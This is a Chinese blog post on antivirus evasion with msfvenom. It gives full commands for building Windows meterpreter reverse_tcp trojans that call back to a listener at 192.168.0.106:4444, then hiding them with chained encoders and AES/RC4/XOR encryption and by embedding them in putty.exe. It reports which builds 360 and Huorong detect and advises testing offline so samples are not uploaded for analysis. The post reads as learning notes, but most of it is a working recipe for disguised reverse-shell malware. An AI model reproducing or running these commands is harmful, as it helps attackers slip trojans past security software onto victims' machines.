免杀之曲线救国(Msfvenom编码器/shellcode算法加密/嵌入白名单)

一、前言
  免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。关于杀毒软件的查杀技术以及一些主流的免杀技术介绍请移步至>>>https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg


二、Msfvenom参数介绍
输入命令  msfvenom -h 可以看到所有的参数,在制作木马以及免杀过程中下列中多个参数有着至关重要的免杀作用。

用Google翻译将上面的内容翻译后的内容如下:
 -l, --list <type> 列出 [type] 的所有模块。类型有:payloads、encoders、nops、platforms、archs、encrypt、formats、all
    -p, --payload <payload> 要使用的有效负载(--list payloads to list,--list-options for arguments)。为自定义指定“-”或 STDIN
        --list-options 列出 --payload <value> 的标准、高级和规避选项
    -f, --format <format> 输出格式(使用 --list 格式列出)
    -e, --encoder <encoder> 要使用的编码器(使用 --list 编码器列出)
        --service-name <value> 生成服务二进制文件时使用的服务名称
        --sec-name <value> 生成大型 Windows 二进制文件时使用的新部分名称。默认值:随机 4 个字符的字母字符串
        --smallest 使用所有可用的编码器生成尽可能小的有效载荷
        --encrypt <value> 应用于 shellcode 的加密或编码类型(使用 --list encrypt 列出)
        --encrypt-key <value> 用于 --encrypt 的密钥
        --encrypt-iv <value> --encrypt 的初始化向量
    -a, --arch <arch> 用于 --payload 和 --encoders 的架构(使用 --list archs 列出)
        --platform <platform> --payload 的平台(使用 --list 平台列出)
    -o, --out <path> 将有效负载保存到文件
    -b, --bad-chars <list> 要避免的字符示例:'\x00\xff'
    -n, --nopsled <length> 在有效负载上添加一个 [length] 大小的 nopsled
        --pad-nops 使用 -n <length> 指定的 nopsled 大小作为总有效负载大小,自动添加一个 nopsled 数量(nops 减去有效负载长度)
    -s, --space <length> 结果负载的最大大小
        --encoder-space <length> 编码有效载荷的最大大小(默认为 -s 值)
    -i, --iterations <count> 对有效载荷进行编码的次数
    -c, --add-code <path> 指定要包含的附加 win32 shellcode 文件
    -x, --template <path> 指定一个自定义的可执行文件作为模板使用
    -k, --keep 保留 --template 行为并将有效负载作为新线程注入
    -v, --var-name <value> 指定用于某些输出格式的自定义变量名称
    -t, --timeout <second> 从 STDIN 读取有效负载时等待的秒数(默认 30,0 表示禁用)
    -h, --help 显示此消息
输入命令  msfvenom --list payloads  可以看到msfvenom支持的各种模块

输入命令 msfvenom -p windows/meterpreter/reverse_tcp --list-options
可以看到当前类型木马的一些信息,比如只能木马应用在哪些平台,多少位系统等等...注意:在生成木马病毒的整个过程中需要注意架构的问题,x86的payload不能使用x64的编码进行编码。架构必须统一,不然生成的木马病毒很大程度上是一个无效的程序!!!

 三、免杀测试记录

最基础的原生并且未加任何"料理"的木马会被直接杀死,下面的 a1.exe直接被360全家桶以及火绒直接杀死!
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f exe -o a1.exe
另外可以通过msfvenom自带的编码器进行免杀,msfvenom --list encoders 列出所有的编码器。免杀效果比较好的也就 x86/shikata_ga_nai、cmd/powershell_base64 等几个编码器,同时也被各大安全厂商盯的死死地!

单重编码实现免杀:选择 x86/shikata_ga_nai 编码器(编码9次)生成一个木马病毒(360全家桶、火绒均能被查杀...)
msfvenom  -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o a2.exe


 多重编码实现免杀:选择多个不同的编码器x86/shikata_ga_nai、x86/jmp_call_additive、x86/xor_dynamic 进行编码(多重编码容易导致木马失效,生成切记测试判断是否可以正常上线。这个马子也是被360全家桶以及火绒双双查杀)

msfvenom  -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f raw | msfvenom -a x86 --platform windows -e x86/jmp_call_additive -i 4 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 4 -f exe -o a3.exe
通过加密 shellcode 实现免杀,输入命令:msfvenom --list encrypts 列出加密的算法类型

使用aes256算法对shellcode加密后在用2种编码器对齐进行编码,但是还是被360全家桶、火绒查杀。注意:--encrypt-iv 初始化向量必须是一串16位的字符串。
msfvenom  -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f raw | msfvenom -a x86 --platform windows -e x86/jmp_call_additive -i 4 --encrypt aes256 --encrypt-key b98943873f323a032650d2218e22bbb7 --encrypt-iv 0399e28a07d31cec -f exe -o a4.exe

将病毒木马shellcode加密以及编码后,嵌入正常软件的内部实现免杀,以putty.exe(32位)程序为例,把病毒嵌入该软件内部。木马还是被双双查杀....
msfvenom  -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -a x86 --platform windows -e x86/shikata_ga_nai -i 2 -f raw | msfvenom -a x86 --platform windows -e x86/jmp_call_additive -i 1 --encrypt aes256 --encrypt-key b98943873f323a032650d2218e22bbb7 --encrypt-iv 0399e28a07d31cec -x /root/Desktop/Whitelist_program/x32/putty.exe -b "\0x00" -f exe -o a5.exe

对shellcode进行多种算法加密后再次嵌入正常的程序(putty)中实现免杀。成功免杀360全家桶,但是火绒还是会被查杀!
msfvenom  -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 --encrypt aes256 --encrypt rc4 --encrypt base64 --encrypt xor --encrypt-key b98943373f323a032650d2218e22bbb7 --encrypt-iv 0399e28a07d31cec -x /root/Desktop/Whitelist_program/x32/putty.exe -b "\0x00" -f exe -o a6.exe

 

三、总结
   根据上面生成的几个木马病毒,可以发现不同的组合能够达到不同的效果,虽然被查的较多。单重编码、多重编码、shellcode加密、嵌入白名单程序,以此组成多个不同的木马病毒集合。有时候使用编码器对木马病毒进行编码被查杀的几率更高,有时候也会免杀。另外和编码的次数也有关系,编码次数越多免杀几率不一定很好,次数低了也说不准能够免杀。制作免杀的过程就是反反复复,在一个庞大的集合里面寻找那个免杀真理,所以一定要尝试多种不同的组合,脑洞一定要怪异才能有奇妙的效果。另外切记生成的木马病毒一定要尝试是否可以正常运行并且成功上线,不然你会找不到问题的所在。在生成木马时,切记病毒木马、系统、payload、编码器,这一系列的架构必须统一!x86架构就不要把 x64架构的东西加进去,容易导致生成无效的木马!还有就是在自己测试免杀情况时,不要让杀毒软件连网,不然你的免杀木马会被杀软上传至沙箱进行分析并且提取你的免杀特征,然后半个小时之后你的免杀就被查杀了!所以可以在虚拟机里面测试免杀效果(虚拟机设置仅主机模式,总而言之不能联网就完事了)。原文出处:https://www.cnblogs.com/PatrickStar88888888/articles/16647447.html 另外加个好友一起学习 ^v^

 

posted @ 2022-09-03 17:43  PatrickStar88888888  阅读(1271)  评论(0编辑  收藏  举报